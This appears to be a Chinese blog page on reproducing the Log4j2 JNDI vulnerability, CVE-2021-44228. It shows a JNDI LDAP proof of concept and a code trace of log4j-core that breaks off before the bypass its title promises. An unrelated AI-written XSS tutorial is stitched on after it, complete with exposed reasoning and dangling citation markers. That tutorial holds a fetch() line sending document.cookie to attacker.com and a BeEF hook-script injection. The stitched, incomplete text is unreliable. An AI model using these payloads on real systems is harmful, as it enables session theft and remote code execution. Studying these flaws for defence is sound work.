安全漏洞之Log4j2漏洞复现绕过分析

本文深入探讨了Log4j2的安全漏洞,详细分析了RCE漏洞的工作原理,包括漏洞触发流程、修复尝试以及RC1修复的绕过方法。通过实例展示了如何利用特定的payload绕过RC1修复,并介绍了RC2的最终修复方案。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x00 介绍

Log4j2是Java开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告

分配CVE编号:CVE-2021-44228

CVSS评分:10.0(最高只能10分)

POC比较简单

public static void main(String[] args) throws Exception {logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");
} 

POC虽然简单,但是搭建LDAP环境显得有点复杂,marshalsec方式需要自行编译class并搭建HTTP服务端

java -jar LDAPKit.jar [命令]

截图如下

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/8d4fe34cbd114d0f81629915feba971d~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fxuyiqing-1257927651.cos.ap-beijing.myqcloud.com%2Fjava%2F0114.png "https://xuyiqing-1257927651.cos.ap-beijing.myqcloud.com/java/0114.png"" style="margin: auto" />

【一>所有资源获取<一】 1、200份很多已经买不到的绝版电子书 2、30G安全大厂内部的视频资料 3、100份src文档 4、常见安全面试题 5、ctf大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线

0x01 RCE分析

首先来看RCE是怎样的原理,先来一段又臭又长的流程分析

看看从logger.error到JndiLookup.lookup中间经历了些什么

从logger.error()层层跟到AbstractLogger.tryLogMessage.log方法

private void tryLogMessage(final String fqcn, final StackTraceElement location, final Level level, final Marker marker, final Message message, final Throwable throwable) {try {log(level, marker, fqcn, location, message, throwable);} catch (final Exception e) {handleLogMessageException(e, fqcn, message);}
} 

不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Loggger.log方法

@Override
protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location, final Message message, final Throwable throwable) {final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();if (strategy instanceof LocationAwareReliabilityStrategy) {// 触发点((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,message, throwable);} else {strategy.log(this, getName(), fqcn, marker, level, message, throwable);}
} 

跟入这里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log

@Override
public void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn,final StackTraceElement location, final Marker marker, final Level level, final Message data,final Throwable t) {loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
} 

进入LoggerConfig.log方法

@PerformanceSensitive("allocation")public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,final Level level, final Message data, final Throwable t) {// 无需关心的代码...try {// 跟入log(logEvent, LoggerConfigPredicate.ALL);} finally {ReusableLogEventFactory.release(logEvent);}} 

进入LoggerConfig另一处重载log方法

protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {if (!isFiltered(event)) {// 跟入processLogEvent(event, predicate);}
} 
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {event.setIncludeLocation(isIncludeLocation());if (predicate.allow(this)) {// 关键点callAppenders(event);}logParent(event, predicate);
} 

可以看到调用appender.control的callAppender方法

@PerformanceSensitive("allocation")
protected void callAppenders(final LogEvent event) {final AppenderControl[] controls = appenders.get();//noinspection ForLoopReplaceableByForEachfor (int i = 0; i < controls.length; i++) {controls[i].callAppender(event);}
} 

层层跟入到AppenderControl.tryCallAppender方法

private void callAppender0(final LogEvent event) {ensureAppenderStarted();if (!isFilteredByAppender(event)) {// 跟入tryCallAppender(event);}
} 
private void tryCallAppender(final LogEvent event) {try {// 跟入appender.append(event);} catch (final RuntimeException error) {handleAppenderError(event, error);} catch (final Exception error) {handleAppenderError(event, new AppenderLoggingException(error));}
} 
<think>好的,我需要帮助用户了解如何复现XSS漏洞以进行安全测试。首先,我得整理XSS的基本概念,确保用户明白漏洞的原理。根据提供的引用,XSS分为反射型、存储型和DOM型,这点要明确。 接下来,复现步骤需要详细分点。用户可能需要知道如何搭建测试环境,比如使用PHPStudy或者Docker,引用中的例子提到了本地服务器,可以引用相关部分。然后构造测试Payload,引用里提到了<script>alert(1)</script>和更隐蔽的console.log(1),这些例子需要包含进去,并说明不同场景下的应用。 实例分析部分,用户可能想知道具体的漏洞复现过程。比如反射型XSS,根据引用中的URL示例,需要展示如何构造恶意链接,并解释参数如何触发漏洞。存储型XSS则要举例用户输入如何被保存并显示给其他用户,引用中的PHPmyWind案例可以作为例子,但用户提供的引用中没有详细说明,可能需要参考已有的信息。 工具使用方面,BeEF框架在引用中被提到用于获取Cookie,这部分要介绍工具的作用和基本使用方法,帮助用户了解如何利用工具进行深入利用。 防御措施也是重要的一环,用户可能想知道如何预防XSS,引用中提到输入验证、过滤和转义,需要强调这些方法,并建议使用安全的编码函数。 最后,生成相关问题,确保覆盖用户可能进一步提问的方向,比如不同XSS类型的区别、工具推荐、防御方法以及实际漏洞案例。需要检查引用标记是否正确,每个步骤都自然引用对应的来源,避免遗漏。 整个过程要保持语言简洁,步骤清晰,符合用户要求的格式,使用中文,并且正确应用LaTeX格式。同时注意不要使用Markdown,用自然的分段和标号。检查是否有遗漏的引用,确保每个引用标记对应正确的来源,比如复现步骤中的实例分析引用正确的示例链接。</think>### XSS漏洞复现方法及实例分析 #### 一、XSS漏洞基础 XSS(跨站脚本攻击)通过注入恶意脚本代码到网页中,利用用户浏览器执行非法操作。根据攻击方式可分为以下三类: 1. **反射型XSS**:恶意脚本通过URL参数注入,服务器直接返回未过滤的内容[^1]。 2. **存储型XSS**:恶意脚本存储到服务器数据库,其他用户访问时触发[^2]。 3. **DOM型XSS**:完全由客户端JavaScript解析漏洞导致,不经过服务器处理[^1]。 --- #### 二、复现步骤与实例 ##### 1. 搭建测试环境 - **本地环境**:使用PHPStudy或Docker搭建Web服务器(如引用示例中的`http://localhost:8080`[^3])。 - **目标页面**:选择存在输入输出交互的页面(如留言板、搜索框)。 ##### 2. 构造测试Payload - **基础测试**: ```html <script>alert(1)</script> <!-- 触发弹窗 --> ``` - **隐蔽测试**: ```javascript console.log(1) <!-- 控制台输出,避免弹窗引起注意[^4] --> ``` - **编码绕过**: 使用URL编码或HTML实体编码绕过简单过滤: ```url http://localhost:8080/?%22%3E%3Cscript%3Ealert(1)%3C/script%3E%3C%22 [^3] ``` ##### 3. 实例分析:反射型XSS复现 1. **目标URL**:假设存在搜索功能页面`search.php?keyword=test`。 2. **注入Payload**: ```url http://localhost:8080/search.php?keyword=<script>alert(document.cookie)</script> ``` 3. **触发漏洞**:服务器未过滤参数直接返回页面,脚本执行并泄露Cookie[^5]。 ##### 4. 存储型XSS复现(以留言板为例) 1. **提交恶意内容**: ```html <script>fetch('http://attacker.com/steal?data=' + document.cookie)</script> ``` 2. **持久化存储**:恶意脚本保存到数据库。 3. **其他用户访问**:加载留言时自动发送Cookie到攻击者服务器[^2]。 ##### 5. 工具辅助利用 - **BeEF框架**:用于控制受害者浏览器,执行高级攻击(如截图、键盘记录): ```bash # Kali中启动BeEF beef-xss ``` 注入Payload: ```html <script src="http://<beef_server>:3000/hook.js"></script> ``` --- #### 三、防御措施 1. **输入过滤**:过滤`<script>`、`onerror`等危险标签/属性。 2. **输出转义**:使用HTML实体编码(如`<`转为`<`)[^2]。 3. **CSP策略**:通过HTTP头限制脚本来源。 4. **安全函数**:PHP中可用`htmlspecialchars()`,JavaScript中避免`innerHTML`。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值